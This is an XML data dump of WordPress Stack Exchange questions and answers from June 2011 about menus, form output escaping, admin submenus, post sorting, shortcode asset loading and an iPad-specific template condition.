  <row Id="20839" PostTypeId="2" ParentId="20819" CreationDate="2011-06-23T12:57:59.483" Score="0" ViewCount="" Body="&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add both ID and class to the containing UL tag, using arguments passed to &lt;code&gt;wp_nav_menu()&lt;/code&gt;, which should give you more than enough specificity to target descendant LI tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you trying to do, specifically? I'm sure we can find a way to accomplish it.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-23T12:57:59.483" />
  <row Id="20840" PostTypeId="2" ParentId="20815" CreationDate="2011-06-23T12:58:16.800" Score="4" ViewCount="" Body="&lt;p&gt;You are already calling isset() each time you are printing the data to the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not just skip this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($custom)) {&#xA;    $genus = $custom[&quot;genus&quot;][0];&#xA;    $species = $custom[&quot;species&quot;][0];&#xA;    $etymology = $custom[&quot;etymology&quot;][0];&#xA;    $family = $custom[&quot;family&quot;][0];&#xA;    $common_names = $custom[&quot;common_names&quot;][0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and do this when you print an input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Genus:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;genus&quot; value=&quot;&amp;lt;?php if( isset( $custom[&quot;genus&quot;][0] ) ) { print $custom[&quot;genus&quot;][0]; } ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The extra variable assignments are not needed and are causing notices to be generated here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to escape your output before it is printed in a form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Genus:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;genus&quot; value=&quot;&amp;lt;?php if(isset($genus)) { echo esc_attr( $genus ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;Species:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;species&quot; value=&quot;&amp;lt;?php if(isset($species)) { echo esc_attr( $species ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Etymology:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;etymology&quot;&amp;gt;&amp;lt;?php if(isset($etymology)) { echo esc_textarea( $etymology ); } ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;label&amp;gt;Family:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;family&quot; value=&quot;&amp;lt;?php if(isset($family)) { echo esc_attr( $family ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;Common Names:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;common_names&quot; value=&quot;&amp;lt;?php if(isset($common_names)) { echo esc_attr( $common_names ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="1367" LastEditorDisplayName="" LastEditDate="2011-06-23T13:06:17.670" LastActivityDate="2011-06-23T13:06:17.670" CommentCount="5" />
  <row Id="20841" PostTypeId="2" ParentId="20835" CreationDate="2011-06-23T13:02:32.477" Score="2" ViewCount="" Body="&lt;p&gt;Script concatenation in admin area is normal behavior, but I am not sure that trying to load that many scripts is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable concatenation by defining &lt;code&gt;CONCATENATE_SCRIPTS&lt;/code&gt; constant to &lt;code&gt;false&lt;/code&gt; (in &lt;code&gt;wp-config.php&lt;/code&gt; would be fitting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W3TC shouldn't affect anything on admin side.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T13:02:32.477" CommentCount="2" />
  <row Id="20842" PostTypeId="2" ParentId="20819" CreationDate="2011-06-23T13:04:41.023" Score="2" ViewCount="" Body="&lt;p&gt;More easily, you can just enter a unique class name on the admin menu page &lt;code&gt;/wp-admin/nav-menus.php&lt;/code&gt;. You may need to look in the top right corner of the page for &quot;Screen Options&quot; and then enable CSS Classes. Then edit any menu item and add the class.&lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2011-06-23T13:04:41.023" />
  <row Id="20844" PostTypeId="2" ParentId="20819" CreationDate="2011-06-23T13:12:49.270" Score="0" ViewCount="" Body="&lt;p&gt;The only way that I could think to do this would be to add a filter to wp_nav_menu_items. Here is the code that I got to work by adding an ID (just add it to your themes functions.php file and change it as needed. You should be able to do something similar for classes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_nav_menu_items', 'my_id_name_nav', 10, 2);&#xA;function my_id_name_nav($items,$args) {&#xA;  if( $args-&amp;gt;theme_location == 'primary' ) {&#xA;    preg_match_all('/&amp;lt;li id=&quot;menu-item-([0-9]+)&quot;([^&amp;gt;]+)&amp;gt;\s*&amp;lt;a href=&quot;([^&quot;]+)&quot;&amp;gt;([^&amp;lt;]+)&amp;lt;\/a&amp;gt;&amp;lt;\/li&amp;gt;/i', $items, $matches);&#xA;    $newItems = array();&#xA;    for($i=0; $i&amp;lt;count($matches[0]); $i++){&#xA;      $short = explode('/', $matches[3][$i]);&#xA;      $short = $short[count($short) - 2]; // if there is no trailing slash, subtract 1 instead of 2&#xA;      array_push($newItems, '&amp;lt;li id=&quot;menu-item-'. $short .'&quot;'. $matches[2][$i] .'&amp;gt;&amp;lt;a href=&quot;'. $matches[3][$i] .'&quot;&amp;gt;'. $matches[4][$i] .'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;');&#xA;    }&#xA;    return implode('', $newItems);&#xA;  } else {&#xA;    return $items;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses the last part of the url to create the page name for the class. So menu-item-2 for &lt;a href=&quot;http://yoursite.com/page1/page2/&quot; rel=&quot;nofollow&quot;&gt;http://yoursite.com/page1/page2/&lt;/a&gt; would become menu-item-page2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;if( $args-&amp;gt;theme_location == 'primary' )&lt;/code&gt; is for targeting a specific menu. If you want to do this for all menus just remove the if else statement.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastActivityDate="2011-06-23T13:12:49.270" />
  <row Id="20845" PostTypeId="2" ParentId="20828" CreationDate="2011-06-23T13:48:33.500" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$tmp_post = $post;&#xA;&#xA;//First get the list of terms&#xA;&#xA;$terms = get_terms(&quot;post_tag&quot;);&#xA;&#xA;//then loop over the list and get the posts of each term&#xA;echo &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;foreach ( $terms as $term ) {&#xA;    $args = array('posts_per_page' =&amp;gt; -1, 'tag' =&amp;gt;  $term-&amp;gt;slug, 'post_type' =&amp;gt; 'album');&#xA;    $myposts = get_posts( $args );&#xA;    if (count($myposts) &amp;gt; 0){&#xA;        echo &quot;&amp;lt;li&amp;gt;&quot; .$term-&amp;gt;name . &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;        foreach( $myposts as $post ){ &#xA;            setup_postdata($post); &#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.the_permalink(); .'&quot;&amp;gt;'.the_title().'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;echo &quot;&amp;lt;/ul&amp;gt;&quot;;&#xA;$post = $tmp_post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-23T13:48:33.500" CommentCount="1" />
  <row Id="20846" PostTypeId="2" ParentId="20830" CreationDate="2011-06-23T14:07:57.297" Score="1" ViewCount="" Body="&lt;p&gt;Don't know about a plugin but you can do that easily with query_posts()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paste this two functions in your theme's functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_sort_links(){&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;sort_links&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;?P_O=az&quot;&amp;gt;A - Z&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;?P_O=za&quot;&amp;gt;Z - A&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function display_posts_numbers(){&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;number_links&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;?P_P=20&quot;&amp;gt;20&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;?P_P=40&quot;&amp;gt;40&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;?P_P=60&quot;&amp;gt;60&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;?P_P=-1&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then paste this in the archive file just above you loop (&lt;code&gt;if have_posts()&lt;/code&gt;) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;parse_str( $query_string, $args );&#xA;//check for posts number per page&#xA;if (isset($_GET['P_P'])){&#xA;    $args['posts_per_page'] = (int)$_GET['P_P'];&#xA;}&#xA;//check for posts order a-z or z-a&#xA;if (isset($_GET['P_O'])){&#xA;    switch ($_GET['P_O'])){&#xA;        case &quot;az&quot;:&#xA;            $args['orderby'] = 'title';&#xA;            $args['order'] = 'ASC';&#xA;            break;&#xA;        case &quot;za&quot;:&#xA;            $args['orderby'] = 'title';&#xA;            $args['order'] = 'DESC' ;&#xA;            break;&#xA;    }&#xA;}&#xA;&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and where ever you want the links to show just call the functions from before :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//for a-z z-a sort use:&#xA;&amp;lt;?php display_sort_links(); ?&amp;gt;&#xA;&#xA;//and for numbers use:&#xA;&amp;lt;?php display_posts_numbers(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-23T14:07:57.297" CommentCount="1" />
  <row Id="20847" PostTypeId="2" ParentId="20815" CreationDate="2011-06-23T14:10:00.767" Score="2" ViewCount="" Body="&lt;p&gt;An alternative, which has come out of a Twitter discussion on this post, is to change &lt;em&gt;how&lt;/em&gt; you're getting your data.  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_custom()&lt;/code&gt;&lt;/a&gt; returns an array of arrays and is what's causing you headaches.  I would recommend using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom_values&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_custom_values()&lt;/code&gt;&lt;/a&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function meta_genus_species() {&#xA;    global $post;&#xA;&#xA;    $genus = get_post_custom_values( 'genus', $post-&amp;gt;ID );&#xA;    $species = get_post_custom_values( 'species', $post-&amp;gt;ID );&#xA;    $etymology = get_post_custom_values( 'etymology', $post-&amp;gt;ID );&#xA;    $family = get_post_custom_values( 'family', $post-&amp;gt;ID );&#xA;    $common_names = get_post_custom_values( 'common_names', $post-&amp;gt;ID );&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;label&amp;gt;Genus:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;genus&quot; value=&quot;&amp;lt;?php if(isset($genus[0])) { echo esc_attr( $genus[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;Species:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;species&quot; value=&quot;&amp;lt;?php if(isset($species[0])) { echo esc_attr( $species ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Etymology:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;etymology&quot;&amp;gt;&amp;lt;?php if(isset($etymology[0])) { echo esc_attr( $etymology ); } ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;label&amp;gt;Family:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;family&quot; value=&quot;&amp;lt;?php if(isset($family[0])) { echo esc_attr( $family ); } ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;label&amp;gt;Common Names:&amp;lt;/label&amp;gt;&#xA;&amp;lt;input name=&quot;common_names&quot; value=&quot;&amp;lt;?php if(isset($common_names[0])) { echo esc_attr( $common_names ); } ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A better alternative to custom values would be to use custom meta.  You can define these as unique, then when you get the custom meta back out of the DB you'll have one value rather than an indexed array with only one member.  Just something to consider.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-23T14:10:00.767" CommentCount="1" />
  <row Id="20848" PostTypeId="2" ParentId="20756" CreationDate="2011-06-23T14:39:07.810" Score="5" ViewCount="" Body="&lt;p&gt;It really depends on the developer and how they've been trained to use WordPress.  In general, I've seen two schools of thought:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Organic&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some developers find a feature in a plugin that they think is really cool.  Unfortunately, they aren't quite sure how to implement it on their own but &lt;em&gt;really&lt;/em&gt; want to include the functionality in their theme.  Rather than reinvent the wheel, they'll include a drop-in plugin in their theme and go with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the majority of cases (not all, but most that I've seen), this is a direct consequence of inexperience in a developer's background.  Either they don't know enough PHP to build a new system on their own, or they're too lazy to attempt it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Product of Design&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Other developers will try to cater to clients who don't know any better.  Their theme is built around, say, a large, Flash-based rotating banner plugin.  The plugin is fairly well-known, but they have no idea if/when the original author will update the system with code their theme won't understand.  Changing DB schema, changing parameters, new hooks ... all of these can break a theme that doesn't update accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than risk the client clicking on &quot;update&quot; without knowing what it will do (or risk binding themselves to an infinite string of updates for a client once the theme is done), they'll take a snapshot of the current working version and hard-code it into the theme.  That way they'll know for sure that it will &lt;em&gt;always&lt;/em&gt; work with their theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind of like hard-coding an external reference in Svn and then disabling version control so you can't update it :-)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Why it doesn't matter&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Whether the practice arose organically or intentionally, it is still a &lt;strong&gt;&lt;em&gt;very bad idea!!!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether the theme updates or not, whether the plugin updates or not ... WordPress will eventually update.  Limiting your client to a single version is, frankly, insulting and bad business.  Instead of hard-coding a drop-in plugin, just make your theme play nice with provided hooks and encourage users to install the other system.  If you're using WordPress hooks (actions and filters) rather than direct function calls, you aren't risking much in terms of stability.  If a hook changes, the feature is just disabled as if the plugin weren't installed.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-23T14:39:07.810" CommunityOwnedDate="2011-06-23T15:03:09.817" CommentCount="4" />
  <row Id="20851" PostTypeId="2" ParentId="20833" CreationDate="2011-06-23T14:52:06.307" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;add_options_page()&lt;/code&gt; places the menu item under the Settings menu. I believe you'll find your plugin menu there if you look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it under the Pages menu, you have to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_submenu_page&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_submenu_page()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('edit.php?post_type=page', 'My Plugin Options', 'My Plugin', 'manage_options', 'my-unique-identifier', 'my_plugin_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note there is an extra argument at the beginning to pass the parent menu slug.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-23T14:52:06.307" />
  <row Id="20852" PostTypeId="2" ParentId="20833" CreationDate="2011-06-23T14:53:25.220" Score="1" ViewCount="" Body="&lt;p&gt;You are using &lt;code&gt;add_options_page()&lt;/code&gt; so this means that you are adding a page menu item under settings section of your WP admin menu. By the sounds of it you dont want to add your page there but you really want it to appear as a sub page of the &lt;code&gt;pages&lt;/code&gt; menu. Am I correct in this assumption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case you need to look at using &lt;code&gt;add_submenu_page('edit.php?post_type=page',...)&lt;/code&gt; instead. See codex article &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_submenu_page&quot; rel=&quot;nofollow&quot;&gt;add_submenu_page()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also where are you placing the above code? In a plugin file or inside your themes functions.php file?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-23T14:53:25.220" CommentCount="1" />
  <row Id="20853" PostTypeId="2" ParentId="1027" CreationDate="2011-06-23T14:59:09.347" Score="1" ViewCount="" Body="&lt;p&gt;Did you remove (i.e. delete) &lt;code&gt;/home/usearname/public_html/wordpress/plugins/wp-dbmanager/.htaccess&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's still there, even if you've copied it to &lt;code&gt;/home/usearname/public_html/wordpress/wp-content/backup-db/&lt;/code&gt;, you're going to get that error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ensure &lt;code&gt;/home/usearname/public_html/wordpress/wp-content/backup-db/.htaccess&lt;/code&gt; exists&lt;/li&gt;&#xA;&lt;li&gt;Ensure &lt;code&gt;/home/usearname/public_html/wordpress/plugins/wp-dbmanager/.htaccess&lt;/code&gt; does not exist&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-23T14:59:09.347" />
  <row Id="20854" PostTypeId="1" AcceptedAnswerId="20867" CreationDate="2011-06-23T15:07:29.047" Score="4" ViewCount="315" Body="&lt;p&gt;I released a plugin that creates a shortcode and requires a JavaScript file and a CSS file to load on any page that contains that shortcode. I could just make the script/style load on all pages, but that's not the best practice. I only want to load the files on pages that call the shortcode. I've found two methods of doing this, but both have problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/optimal-script-loading.html&quot; rel=&quot;nofollow&quot;&gt;Method 1&lt;/a&gt; sets a flag to true inside the shortcode handler function, and then checks that value inside a &lt;code&gt;wp_footer&lt;/code&gt; callback. If it's true, it uses &lt;code&gt;wp_print_scripts()&lt;/code&gt; to load the JavaScript. The problem with this is that it only works for JavaScript and not CSS, because CSS should be declared inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, which you can only do during an early hook like &lt;code&gt;init&lt;/code&gt; or &lt;code&gt;wp_head&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://beerpla.net/2010/01/13/wordpress-plugin-development-how-to-include-css-and-javascript-conditionally-and-only-when-needed-by-the-posts/&quot; rel=&quot;nofollow&quot;&gt;Method 2&lt;/a&gt; fires early and &quot;peeks ahead&quot; to see if the shortcode exists in the current page content. I like this method much better than the first, but the problem with it it won't detect if the template calls &lt;code&gt;do_shortcode()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm leaning towards using the second method and then trying to detect if a template is assigned, and if so, parse it for the shortcode. Before I do that, though, I wanted to check if anyone knows of a better method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Any acceptable solution needs to follow best practices, which means that all CSS has to go inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, and &lt;code&gt;wp_enqueue_script()&lt;/code&gt;/&lt;code&gt;wp_enqueue_style()&lt;/code&gt; are used to load files. I already know there are methods that get around this by implementing bad practices, but I'm not interested in those. &lt;strong&gt;Please don't answer/comment if your solution doesn't meet that critera.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I've integrated the solution into my plugin. If anyone is curious to see it fleshed out in a live environment you can &lt;a href=&quot;http://wordpress.org/extend/plugins/basic-google-maps-placemarks&quot; rel=&quot;nofollow&quot;&gt;download it&lt;/a&gt; or &lt;a href=&quot;http://plugins.svn.wordpress.org/basic-google-maps-placemarks/&quot; rel=&quot;nofollow&quot;&gt;browse it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-06-26T06:57:49.383" LastActivityDate="2011-06-26T06:57:49.383" Title="Conditionally Loading JavaScript/CSS for Shortcodes" Tags="&lt;shortcode&gt;&lt;wp-enqueue-script&gt;&lt;best-practices&gt;&lt;wp-enqueue-style&gt;" AnswerCount="3" CommentCount="10" FavoriteCount="3" />
  <row Id="20855" PostTypeId="2" ParentId="20118" CreationDate="2011-06-23T15:13:09.040" Score="0" ViewCount="" Body="&lt;p&gt;OK, so from what I can tell, you want to require an official National ID during the registration process (which you will query for validity against the SOAP service you mentioned)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you need to add a field to the user profile to store the National ID, then hook the registration process to display this new field and require entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a good example of how to do this here: &lt;a href=&quot;http://tipsforwordpress.com/wordpress/add-custom-field-to-register-form/comment-page-1/#comment-152&quot; rel=&quot;nofollow&quot;&gt;http://tipsforwordpress.com/wordpress/add-custom-field-to-register-form/comment-page-1/#comment-152&lt;/a&gt; (You'll need to add in the SOAP call and failure path)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-23T15:13:09.040" />
  <row Id="20856" PostTypeId="2" ParentId="20854" CreationDate="2011-06-23T15:22:16.803" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;because CSS should be declared inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For CSS files you can load them within your shortcode output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;  @import &quot;path/to/your.css&quot;; &#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set a constant or something after this, like &lt;code&gt;MY_CSS_LOADED&lt;/code&gt; (only include the CSS if the constant is not set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both your methods are slower than going this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For JS files you can do the same if the script you're loading is unique and doesn't have any outside dependencies. If this is not the case load it inside the footer, but use the constant to determine if needs to be loaded or not...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-23T15:22:16.803" CommentCount="14" />
  <row Id="20857" PostTypeId="1" AcceptedAnswerId="20861" CreationDate="2011-06-23T15:27:34.560" Score="0" ViewCount="77" Body="&lt;p&gt;I need to hide the branding section of my blog, but only when someone is viewing it from the iPad. I am not sure how to attack this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: the function &lt;code&gt;remove_access&lt;/code&gt; currently works in my template, but I need to add the iPad function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So would this look correct for trying to hide the area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;function remove_access() {&#xA; if(is_page(array(63, 386, 391, 405, 'forums'))) {&#xA;    remove_action('thematic_header','thematic_blogtitle',3);&#xA;    remove_action('thematic_header', 'thematic_blogdescription',5);&#xA;    remove_action('thematic_header', 'thematic_brandingclosing',7);&#xA;    remove_action('thematic_header','thematic_access',9);&#xA;    remove_action('thematic_footer','thematic_siteinfoopen',20);&#xA;    remove_action('thematic_footer','thematic_siteinfo',30);&#xA;  }&#xA;}&#xA;if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT']) ){&#xA;    add_action('template_redirect', 'remove_access');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT-3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the complete function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;changed the condition to: if (it's an iPad AND page is blog) OR (if it's one of the pages in array), then remove items.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function remove_access() {&#xA;    if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT']) &amp;amp;&amp;amp; is_page('blog') || is_page(array(63, 386, 391, 405, 'forums')) ){&#xA;        remove_action('thematic_header','thematic_blogtitle',3);&#xA;        remove_action('thematic_header', 'thematic_blogdescription',5);&#xA;        remove_action('thematic_header', 'thematic_brandingclosing',7);&#xA;        remove_action('thematic_header','thematic_access',9);&#xA;        remove_action('thematic_footer','thematic_siteinfoopen',20);&#xA;        remove_action('thematic_footer','thematic_siteinfo',30);&#xA;    }&#xA;}&#xA;&#xA;add_action('template_redirect', 'remove_access');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT-4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a function to remove from child pages as well. I tried this, but it doesn't seem to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_access() {&#xA;if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT']) &amp;amp;&amp;amp; is_page('blog') &amp;amp;&amp;amp; ($post-&amp;gt;post_parent == 'blog') || is_page(array(63, 386, 391, 405, 'forums')) &amp;amp;&amp;amp; ($post-&amp;gt;post_parent == (63, 386, 391, 405, 'forums')) ){&#xA;    remove_action('thematic_header','thematic_blogtitle',3);&#xA;    remove_action('thematic_header', 'thematic_blogdescription',5);&#xA;    remove_action('thematic_header', 'thematic_brandingclosing',7);&#xA;    remove_action('thematic_header','thematic_access',9);&#xA;    remove_action('thematic_footer','thematic_siteinfoopen',20);&#xA;    remove_action('thematic_footer','thematic_siteinfo',30);&#xA;  }&#xA;}&#xA;&#xA;add_action('template_redirect', 'remove_access');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4273" LastEditorUserId="4273" LastEditorDisplayName="" LastEditDate="2011-06-23T18:01:19.853" LastActivityDate="2011-06-23T18:40:13.013" Title="Conditonal statement for iPad" Tags="&lt;conditional-content&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="20858" PostTypeId="1" AcceptedAnswerId="20860" CreationDate="2011-06-23T15:28:19.973" Score="4" ViewCount="72" Body="&lt;p&gt;Sony's recent security &quot;holes&quot; showed how unsafe it can be to store data unencrypted. As some of you may know, I 'm working on re-releasing the free CRM theme Driftwood. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the most secure way to store sensitive (ie non-public information) post meta in the database? &lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-23T15:39:16.460" Title="What is the most secure way to store post meta data in WP?" Tags="&lt;database&gt;&lt;post-meta&gt;&lt;security&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
